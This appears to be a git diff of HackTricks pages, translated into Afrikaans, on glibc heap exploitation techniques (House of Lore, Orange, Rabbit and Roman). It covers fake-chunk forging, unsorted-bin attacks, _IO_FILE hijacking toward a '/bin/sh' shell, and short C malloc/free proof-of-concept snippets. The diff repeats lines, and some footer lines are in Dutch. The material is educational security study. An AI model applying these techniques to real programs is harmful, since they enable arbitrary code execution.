* Voeg 'n **vals klein stukkie by in die klein bin sodat dit moontlik is om dit toe te ken**.\
Let daarop dat die klein stukkie wat bygevoeg is, die vals een is wat die aanvaller skep en nie 'n vals een op 'n willekeurige posisie nie.
### Vereistes
* Skep 2 valse stukkies en skakel hulle aanmekaar en met die regte stukkie in die klein bin:
* `fake0.bk` -> `fake1`
* `fake1.fd` -> `fake0`
* `fake0.fd` -> `legit` (jy moet 'n aanwysing in die vrygestelde klein bin stukkie wysig deur 'n ander kwesbaarheid)
* `fake0.fd` -> `legit` (jy moet 'n aanwysers in die vrygestelde klein bin-stukkie wysig deur 'n ander kwesbaarheid)
* `legit.bk` -> `fake0`
Dan sal jy in staat wees om `fake0` toe te ken.
@ -42,13 +43,13 @@ Dan sal jy in staat wees om `fake0` toe te ken.
### Aanval
* 'n Klein stukkie (`legit`) word toegeken, dan word nog een toegeken om te voorkom dat dit gekonsolideer word met die boonste stukkie. Dan word `legit` vrygestel (wat dit na die ongesorteerde bin-lys skuif) en 'n groter stukkie word toegeken, **wat `legit` na die klein bin skuif.**
* 'n Aanvaller genereer 'n paar valse klein stukkies, en maak die nodige skakeling om sinverifikasie te omseil:
* 'n Aanvaller genereer 'n paar valse klein stukkies en maak die nodige skakeling om sinverifikasie te omseil:
* `fake0.bk` -> `fake1`
* `fake1.fd` -> `fake0`
* `fake0.fd` -> `legit` (jy moet 'n aanwysing in die vrygestelde klein bin stukkie wysig deur 'n ander kwesbaarheid)
* `fake0.fd` -> `legit` (jy moet 'n aanwyser in die vrygestelde klein bin-stukkie wysig deur 'n ander kwesbaarheid)
* `legit.bk` -> `fake0`
* 'n Klein stukkie word toegeken om `legit` te kry, wat **`fake0`** in die boonste lys van klein bins maak
* 'n Ander klein stukkie word toegeken, wat `fake0` as 'n stukkie kry, wat moontlik maak om binne-in dit aanwysings te lees/skryf.
* 'n Klein stukkie word toegeken om `legit` te kry, wat **`fake0`** in die boonste lys van klein bakkies maak
* 'n Ander klein stukkie word toegeken, wat `fake0` as 'n stukkie kry, wat moontlik maak om binne-in dit aanwysers te lees/skryf.
## Verwysings
@ -56,16 +57,17 @@ Dan sal jy in staat wees om `fake0` toe te ken.
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Huis van Oranje
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
## Basiese Inligting
@ -33,66 +34,67 @@ Ander maniere om HackTricks te ondersteun:
### Agtergrond
Sekere nodige agtergrond uit die kommentaar van **hierdie voorbeeld**:
Sommige nodige agtergrond uit die kommentaar van [**hierdie voorbeeld**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)**:**
Ding is, in ouer weergawes van libc, wanneer die `malloc_printerr`-funksie geroep is, sou dit **deur 'n lys van `_IO_FILE`-strukture wat in `_IO_list_all` gestoor is, blaai**, en eintlik 'n instruksie-aanwysers in daardie struktuur **uitvoer**.\
Die saak is, in ouer weergawes van libc, toe die `malloc_printerr`-funksie geroep is, sou dit **deur 'n lys van `_IO_FILE`-strukture wat in `_IO_list_all` gestoor is, blaai**, en eintlik **'n instruksie-aanwysers in daardie struktuur uitvoer**.\
Hierdie aanval sal 'n **vals `_IO_FILE`-struktuur** vervals wat ons na **`_IO_list_all`** sal skryf, en veroorsaak dat `malloc_printerr` loop.\
Dan sal dit **uitvoer watookal adres** ons in die **`_IO_FILE`**-strukture se springtafel gestoor het, en ons sal kode-uitvoering kry
### Aanval
Die aanval begin deur die **boonste brokkie** binne die **ongesorteerde bin** te bestuur. Dit word bereik deur `malloc` te roep met 'n groter grootte as die huidige boonste brokkie grootte maar kleiner as **`mmp_.mmap_threshold`** (standaard is 128K), wat andersins `mmap`-toewysing sou veroorsaak. Wanneer die boonste brokkie grootte gewysig word, is dit belangrik om te verseker dat die **boonste brokkie + sy grootte** bladsy-uitgelyn is en dat die **prev\_inuse**-bit van die boonste brokkie altyd ingestel is.
Die aanval begin deur die **boonste brokkie** binne die **ongesorteerde bin** te bestuur. Dit word bereik deur `malloc` te roep met 'n groter grootte as die huidige boonste brokkie grootte maar kleiner as **`mmp_.mmap_threshold`** (standaard is 128K), wat andersins `mmap` toekenning sou veroorsaak. Wanneer die boonste brokkie grootte gewysig word, is dit belangrik om te verseker dat die **boonste brokkie + sy grootte** bladsy-uitgelyn is en dat die **prev\_inuse**-bit van die boonste brokkie altyd ingestel is.
Om die boonste brokkie binne die ongesorteerde bin te kry, allokeer 'n brokkie om die boonste brokkie te skep, verander die boonste brokkie grootte (met 'n oorvloei in die toegewysde brokkie) sodat **boonste brokkie + grootte** bladsy-uitgelyn is met die **prev\_inuse**-bit ingestel. Allokeer dan 'n brokkie groter as die nuwe boonste brokkie grootte. Let daarop dat `free` nooit geroep word om die boonste brokkie in die ongesorteerde bin te kry nie.
Om die boonste brokkie binne die ongesorteerde bin te kry, allokeer 'n brokkie om die boonste brokkie te skep, verander die boonste brokkie grootte (met 'n oorvloei in die toegewysde brokkie) sodat **boonste brokkie + grootte** bladsy-uitgelyn is met die **prev\_inuse**-bit wat ingestel is. Allokeer dan 'n brokkie groter as die nuwe boonste brokkie grootte. Let daarop dat `free` nooit geroep word om die boonste brokkie in die ongesorteerde bin te kry nie.
Die ou boonste brokkie is nou in die ongesorteerde bin. Mits ons data binne-in dit kan lees (moontlik as gevolg van 'n kwesbaarheid wat ook die oorvloei veroorsaak het), is dit moontlik om libc-adresse daaruit te lek en die adres van **\_IO\_list\_all** te kry.
'n Aanval op 'n ongesorteerde bin word uitgevoer deur die oorvloei te misbruik om `topChunk->bk->fwd = _IO_list_all - 0x10` te skryf. Wanneer 'n nuwe brokkie toegewys word, sal die ou boonste brokkie verdeel word, en 'n aanwysing na die ongesorteerde bin sal in **`_IO_list_all`** geskryf word.
'n Ongeordende bin-aanval word uitgevoer deur die oorvloei te misbruik om `topChunk->bk->fwd = _IO_list_all - 0x10` te skryf. Wanneer 'n nuwe brokkie toegewys word, sal die ou boonste brokkie verdeel word, en 'n aanwysing na die ongesorteerde bin sal in **`_IO_list_all`** geskryf word.
Die volgende stap behels die verkleining van die grootte van die ou boonste brokkie om in 'n klein bin te pas, spesifiek deur sy grootte na **0x61** in te stel. Dit dien twee doeleindes:
1. **Invoeging in Klein Bin 4**: Wanneer `malloc` deur die ongesorteerde bin skandeer en hierdie brokkie sien, sal dit probeer om dit in klein bin 4 in te voeg weens sy klein grootte. Dit maak dat die brokkie aan die kop van die klein bin 4-lys beland wat die ligging van die FD-aanwyser van die brokkie van **`_IO_list_all`** is aangesien ons 'n naby adres in **`_IO_list_all`** geskryf het via die aanval op die ongesorteerde bin.
1. **Invoeging in Klein Bin 4**: Wanneer `malloc` deur die ongesorteerde bin skandeer en hierdie brokkie sien, sal dit probeer om dit in klein bin 4 in te voeg weens sy klein grootte. Dit maak dat die brokkie aan die kop van die klein bin 4-lys beland wat die ligging van die FD-aanwyser van die brokkie van **`_IO_list_all`** is aangesien ons 'n naby adres in **`_IO_list_all`** geskryf het via die ongesorteerde bin-aanval.
2. **Aanroeping van 'n Malloc Kontrole**: Hierdie brokkie grootte-manipulasie sal veroorsaak dat `malloc` interne kontroles uitvoer. Wanneer dit die grootte van die valse voorwaartse brokkie nagaan, wat nul sal wees, veroorsaak dit 'n fout en roep `malloc_printerr` aan.
Die manipulasie van die klein bin sal jou in staat stel om die voorwaartse aanwyser van die brokkie te beheer. Die oorvleuel met **\_IO\_list\_all** word gebruik om 'n vals **\_IO\_FILE** struktuur te vervals. Die struktuur word sorgvuldig saamgestel om sleutelvelde soos `_IO_write_base` en `_IO_write_ptr` in te sluit wat ingestel is op waardes wat interne kontroles in libc slaag. Daarbenewens word 'n springtafel binne-in die valse struktuur geskep, waar 'n instruksie-aanwyser na die adres waar arbitrêre kode (bv., die `system`-funksie) uitgevoer kan word, ingestel is.
Die manipulasie van die klein bin sal jou toelaat om die voorwaartse aanwyser van die brokkie te beheer. Die oorvleuel met **\_IO\_list\_all** word gebruik om 'n vals **\_IO\_FILE**-struktuur te vervals. Die struktuur word sorgvuldig saamgestel om sleutelvelde soos `_IO_write_base` en `_IO_write_ptr` in te sluit wat ingestel is op waardes wat interne kontroles in libc slaag. Daarbenewens word 'n springtafel binne-in die valse struktuur geskep, waar 'n instruksie-aanwyser na die adres waar arbitrêre kode (bv., die `system`-funksie) uitgevoer kan word, ingestel is.
Om die res van die tegniek saam te vat:
* **Verklein die Ou Boonste Brokkie**: Stel die grootte van die ou boonste brokkie in op **0x61** om dit in 'n klein bin te pas.
* **Stel die Valse `_IO_FILE` Struktuur op**: Oorvleuel die ou boonste brokkie met die valse **\_IO\_FILE** struktuur en stel velde toepaslik in om beheer vloei te kap.
* **Stel die Valse `_IO_FILE`-Struktuur op**: Oorvleuel die ou boonste brokkie met die valse **\_IO\_FILE**-struktuur en stel velde toepaslik in om beheer vloei te ontvoer.
Die volgende stap behels die vervalsing van 'n valse **\_IO\_FILE** struktuur wat oorvleuel met die ou boonste brokkie wat tans in die ongesorteerde bin is. Die eerste bytes van hierdie struktuur word sorgvuldig saamgestel om 'n aanwyser na 'n bevel (bv., "/bin/sh") wat uitgevoer sal word, in te sluit.
Die volgende stap behels die vervalsing van 'n valse **\_IO\_FILE**-struktuur wat oorvleuel met die ou boonste brokkie wat tans in die ongesorteerde bin is. Die eerste bytes van hierdie struktuur word sorgvuldig saamgestel om 'n aanwyser na 'n bevel (bv., "/bin/sh") wat uitgevoer sal word, in te sluit.
Sleutelvelde in die valse **\_IO\_FILE** struktuur, soos `_IO_write_base` en `_IO_write_ptr`, word ingestel op waardes wat interne kontroles in libc slaag. Daarbenewens word 'n springtafel binne-in die valse struktuur geskep, waar 'n instruksie-aanwyser na die adres waar arbitrêre kode uitgevoer kan word, ingestel is. Tipies sal dit die adres van die `system`-funksie wees of 'n ander funksie wat skelmaanwysings kan uitvoer.
Sleutelvelde in die valse **\_IO\_FILE**-struktuur, soos `_IO_write_base` en `_IO_write_ptr`, word ingestel op waardes wat interne kontroles in libc slaag. Daarbenewens word 'n springtafel binne-in die valse struktuur geskep, waar 'n instruksie-aanwyser na die adres waar arbitrêre kode uitgevoer kan word, ingestel is. Tipies sal dit die adres van die `system`-funksie of 'n ander funksie wees wat skelmaanwysings kan uitvoer.
Die aanval bereik 'n hoogtepunt wanneer 'n oproep na `malloc` die uitvoering van die kode deur die gemanipuleerde **\_IO\_FILE** struktuur veroorsaak. Dit maak dit effektief moontlik om arbitrêre kode uit te voer, wat tipies lei tot 'n skul of 'n ander skadelike lading wat uitgevoer word.
Die aanval bereik 'n hoogtepunt wanneer 'n oproep na `malloc` die uitvoering van die kode deur die gemanipuleerde **\_IO\_FILE**-struktuur veroorsaak. Dit maak dit moontlik om arbitrêre kode uit te voer, wat tipies lei tot 'n skul of 'n ander skadelike lading wat uitgevoer word.
**Opsomming van die Aanval:**
1. **Stel die boonste brokkie op**: Allokeer 'n brokkie en wysig die boonste brokkie grootte.
2. **Dwing die boonste brokkie in die ongesorteerde bin**: Allokeer 'n groter brokkie.
3. **Lek libc-adresse**: Gebruik die kwesbaarheid om uit die ongesorteerde bin te lees.
4. **Voer die ongesorteerde bin-aanval uit**: Skryf na **\_IO\_list\_all** deur 'n oorvloei te gebruik.
4. **Voer die ongesorteerde bin-aanval uit**: Skryf na **\_IO\_list\_all** deur 'n oorvloei.
5. **Verklein die ou boonste brokkie**: Stel sy grootte in om in 'n klein bin te pas.
6. **Stel 'n valse \_IO\_FILE struktuur op**: Vervals 'n valse lêerstruktuur om beheer vloei te kap.
6. **Stel 'n valse \_IO\_FILE-struktuur op**: Vervals 'n valse lêerstruktuur om beheer vloei te ontvoer.
7. **Trigger kode-uitvoering**: Allokeer 'n brokkie om die aanval uit te voer en arbitrêre kode uit te voer.
Hierdie benadering maak gebruik van hoopbestuursmeganismes, libc-inligtingslekke, en hoopoorvloei om kode-uitvoering te bereik sonder om direk `free` te roep. Deur die valse **\_IO\_FILE** struktuur sorgvuldig saam te stel en dit op die regte plek te plaas, kan die aanval die beheer vloei tydens standaard geheue-toekenningsoperasies kap. Dit maak die uitvoering van arbitrêre kode moontlik, wat moontlik lei tot 'n skul of ander skadelike aktiwiteite.
Hierdie benadering maak gebruik van hoopbestuursmeganismes, libc-inligtingslekke, en hoopoorvloeie om kode-uitvoering te bereik sonder om direk `free` te roep. Deur die valse **\_IO\_FILE**-struktuur sorgvuldig saam te stel en dit op die regte plek te plaas, kan die aanval die beheer vloei tydens standaard geheue-toekenningsoperasies ontvoer. Dit maak die uitvoering van arbitrêre kode moontlik, wat moontlik lei tot 'n skul of ander skadelike aktiwiteite.
## Verwysings
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/)
* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Huis van die Haas
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
### Vereistes
1. **Vermoeë om vinnige bin fd-aanwyser of grootte te wysig**: Dit beteken jy kan die voorwaartse aanwyser van 'n stuk in die vinnige bin verander of sy grootte.
2. **Vermoeë om `malloc_consolidate` te aktiveer**: Dit kan gedoen word deur óf 'n groot stuk toe te ken óf die boonste stuk saam te voeg, wat die hoop dwing om stukke te konsolideer.
1. **Vermoeë om vinnige bin fd-aanwyser of grootte te wysig**: Dit beteken jy kan die voorwaartse aanwyser van 'n blok in die vinnige bin verander of sy grootte.
2. **Vermoeë om `malloc_consolidate` te aktiveer**: Dit kan gedoen word deur óf 'n groot blok toe te ken óf die boonste blok saam te voeg, wat die hoop dwing om blokke te konsolideer.
### Doelwitte
1. **Skep oorvleuelende stukke**: Om een stuk met 'n ander te laat oorvleuel, wat verdere hoopmanipulasies moontlik maak.
2. **Vals stukke vervals**: Om die toewysingsprogram in die val te lok om 'n vals stuk as 'n regmatige stuk tydens hoopoperasies te behandel.
1. **Skep oorvleuelende blokke**: Om een blok met 'n ander te laat oorvleuel, wat verdere hoopmanipulasies moontlik maak.
2. **Vals blokke vervals**: Om die toewysers te mislei om 'n vals blok as 'n regmatige blok tydens hoopoperasies te hanteer.
## Stappe van die aanval
### POC 1: Wysig die grootte van 'n vinnige bin-stuk
### POC 1: Wysig die grootte van 'n vinnige bin-blok
**Doel**: Skep 'n oorvleuelende stuk deur die grootte van 'n vinnige bin-stuk te manipuleer.
**Doel**: Skep 'n oorvleuelende blok deur die grootte van 'n vinnige bin-blok te manipuleer.
* **Stap 1: Ken Stukke Toe**
* **Stap 1: Ken Blokke Toe**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
@ -41,7 +42,7 @@ malloc(0x10); // Allocates a small chunk to change the
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
### Ons maak albei brokke vry, en voeg hulle by die fastbin lys.
### Ons maak albei brokke vry, en voeg hulle by die fastbin-lys.
* **Stap 3: Wysig Brok Grootte**
```cpp
@ -55,7 +56,7 @@ malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
### POC 2: Wysig die `fd` wyser
**Doelwit**: Skep 'n vals blokkie deur die vinnige bin `fd` wyser te manipuleer.
**Doel**: Skep 'n vals blokkie deur die vinnige bin `fd` wyser te manipuleer.
* **Stap 1: Allokeer Blokkies**
```cpp
@ -80,12 +81,16 @@ free(chunk1); // Frees the chunk at 0x602000
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Verduideliking**: Ons verander die voorwaartse wyser (`fd`) van `chunk1` om te wys na ons valse stuk binne `chunk2`.
**Verduideliking**: Ons verander die voorwaartse aanwyser (`fd`) van `chunk1` om te wys na ons valse stuk binne `chunk2`.
* **Stap 5: Trigger `malloc_consolidate`**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Die toewysing van 'n groot blok veroorsaak weer `malloc_consolidate`, wat die valse blok verwerk.
Die valse blok word deel van die fastbin-lys, wat dit 'n legitieme blok maak vir verdere uitbuiting.
### Opsomming
Die **Huis van die Has** tegniek behels óf die wysiging van die grootte van 'n vinnige bin stuk om oorvleulende stukke te skep óf die manipulasie van die `fd` aanwyser om vals stukke te skep. Dit stel aanvallers in staat om legitieme stukke in die hoop te vervals, wat verskeie vorme van uitbuiting moontlik maak. Die begrip en beoefening van hierdie stappe sal jou hoop-uitbuiting vaardighede verbeter.
Die **House of Rabbit** tegniek behels óf die wysiging van die grootte van 'n fast bin blok om oorvleulende blokke te skep, óf die manipulasie van die `fd` wyser om valse blokke te skep. Dit stel aanvallers in staat om legitieme blokke in die heap te vervals, wat verskeie vorme van uitbuiting moontlik maak. Die begrip en oefening van hierdie stappe sal jou heap-uitbuitingsvaardighede verbeter.

View file

@ -1,18 +1,19 @@
# Huis van Roman
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
## Basiese Inligting
@ -38,11 +39,11 @@ Dit was 'n baie interessante tegniek wat RCE moontlik gemaak het sonder lekke vi
Skep verskeie stukke:
* `fastbin_victim` (0x60, offset 0): UAF-stuk later om die heap-aanwyser later te redigeer om na die LibC-waarde te wys.
* `chunk2` (0x80, offset 0x70): Vir goeie belynheid
* `chunk2` (0x80, offset 0x70): Vir goeie belynig
* `main_arena_use` (0x80, offset 0x100)
* `relative_offset_heap` (0x60, offset 0x190): relatiewe offset op die 'main\_arena\_use'-stuk
Vry dan `free(main_arena_use)` wat hierdie stuk in die ongesorteerde lys sal plaas en 'n aanwyser na `main_arena + 0x68` sal kry in beide die `fd` en `bk` aanwysers.
Vry dan `free(main_arena_use)` wat hierdie stuk in die ongesorteerde lys plaas en 'n aanwyser na `main_arena + 0x68` sal kry in beide die `fd` en `bk` aanwysers.
Nou word 'n nuwe stuk toegewys `fake_libc_chunk(0x60)` omdat dit die aanwysers na `main_arena + 0x68` in `fd` en `bk` sal bevat.
@ -62,7 +63,7 @@ unsorted: leftover_main
*/
```
* &#x20;`fastbin_victim` het 'n `fd` wat na `relative_offset_heap` wys
* &#x20;`relative_offset_heap` is 'n offset vanaf `fake_libc_chunk`, wat 'n aanwyser na `main_arena + 0x68` bevat
* &#x20;`relative_offset_heap` is 'n offset van afstand vanaf `fake_libc_chunk`, wat 'n aanwyser na `main_arena + 0x68` bevat
* Deur net die laaste byte van `fastbin_victim.fd` te verander, is dit moontlik om te maak dat `fastbin_victim` na `main_arena + 0x68` wys
Vir die vorige aksies moet die aanvaller in staat wees om die fd-aanwyser van `fastbin_victim` te wysig.
@ -71,7 +72,7 @@ Dan is `main_arena + 0x68` nie so interessant nie, so laat ons dit wysig sodat d
